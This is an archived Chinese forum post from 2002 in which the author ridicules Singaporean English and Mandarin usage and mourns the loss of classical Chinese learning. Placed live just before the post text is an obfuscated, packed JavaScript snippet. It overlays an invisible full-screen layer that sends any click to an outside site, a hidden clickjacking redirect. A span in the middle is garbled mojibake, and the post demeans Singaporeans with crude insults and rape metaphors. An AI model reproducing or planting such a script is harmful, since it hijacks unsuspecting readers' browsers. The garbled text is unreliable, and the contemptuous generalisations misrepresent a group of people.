滴答网 - 澳洲中文网_澳洲交友_澳洲租房_澳洲房产_澳洲旅游_澳洲汽车_二手市场_澳大利亚华人论坛

标题: Singapore..(回Deonlee) [打印本页]

作者: ray_cowboy 时间: 2002-8-4 01:17
标题: Singapore..(回Deonlee)
<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>在新加坡快三年了，很多感想，好的壞的都有。既然deonlee談的是壞的方面，那麽
我在補充一些，看在新加坡呆了幾年的朋友能不能達成共識：最受不了的是耳朵被坡語
強姦了3 年----一方面是英語，應該叫“singlish”."t" 發音成“d”：computer =
“剛piu的”;calculator = "靠cute勒的" 。還有其它的：正常發音： excuse me， where is toilet? 坡語： ice cute， where is “多一勒“？（在酒店打工，一位客人問廁所，我一頭霧水，不知這“多一勒“為何物，幸好一位精通“雙語人才”給我翻譯，呵呵）。他們發表意見的口頭禪：i 叮(think) the~~（此“the”要拖音）
more....///華語：我更是對他們“裸體投地”。“了”音基本上在中文除了“了無生趣”“了不起”發“liao”，（文言就不說了），其他都發“le”，他們的華語都是發“liao”，沒有“le”音。“吃飯料~”“出去料~”。。。疑問語氣助詞為：“咩”。
“吃飯料咩~”“出去料咩~”坡語的形容詞只有“大大”，“小小”，“美美”，“多”&“少”。eg: 一個人很壯，就是“大大肢”，很瘦就是“小小肢”，不管是什麽東西好看或爽都是“美美”。“不知道”，“不理解”都是兩個字“不懂”。買東西
給錢都叫“還錢”，好像是借了對方的錢。還有很多，就此打住。因爲我一邊想他們
的語言，耳朵一邊就有身臨其境被強姦的感覺。///新加坡人自認為是精通中文和英文的“人才”，其實兩種語言都不到位。英文用他們的話來説就是“爛”，華語更是如此。説是一個英語國家，卻沒有出一個英文作家，印度雖然不是一個英語國家，都可以
有一個世界聞名的英文作家戈爾泰。說他們是華人，可是有幾個人能讀懂全華文的“新加坡早報”，寫出一篇有深度的中文文章，至於文言文，詩歌這些精品更不用說了。中文英文他們略知皮毛，造就了只會“垃圾語言”的新加坡華人。平時空餘和新加坡同學聊天，講到文學，歷史和時事，他們那府一臉茫然不知所云的神情就讓我覺得他們湵。??猩跽邌柕叫录悠潞湍戟毩⒔▏?疾恢?溃?矣X得是一種悲哀。你說和他們能聊什麽？哪裏的衣服款式很新？誰的手機很美美？一個國家沒有文化是多麽的空虛。當然，這裡的文化不是指新加坡過華人的節日和風俗，而是華人五千年的精英文學文化。實作為中國人的我們年輕人（在這裡灌水應該不會“老”到哪裏去）也是應該反省，自己民族的文化歷史到底知道多少。
現在的學生，不說背，有幾個看過四書五經的？？有幾個看完古文觀止的？？除了課本中學過的，能背出多少唐詩宋詞？？除了關關雎鳩，又知道幾句詩經的？？文言文成了大多數學生的軟肋，中國精英文化，真的失傳了，而且另一方面各類媚俗、惡俗的東西充斥視聽。//////////呼，說多了，也扯遠了，休息一下。

欢迎光临滴答网 - 澳洲中文网_澳洲交友_澳洲租房_澳洲房产_澳洲旅游_澳洲汽车_二手市场_澳大利亚华人论坛 (http://sydneybbs.com/)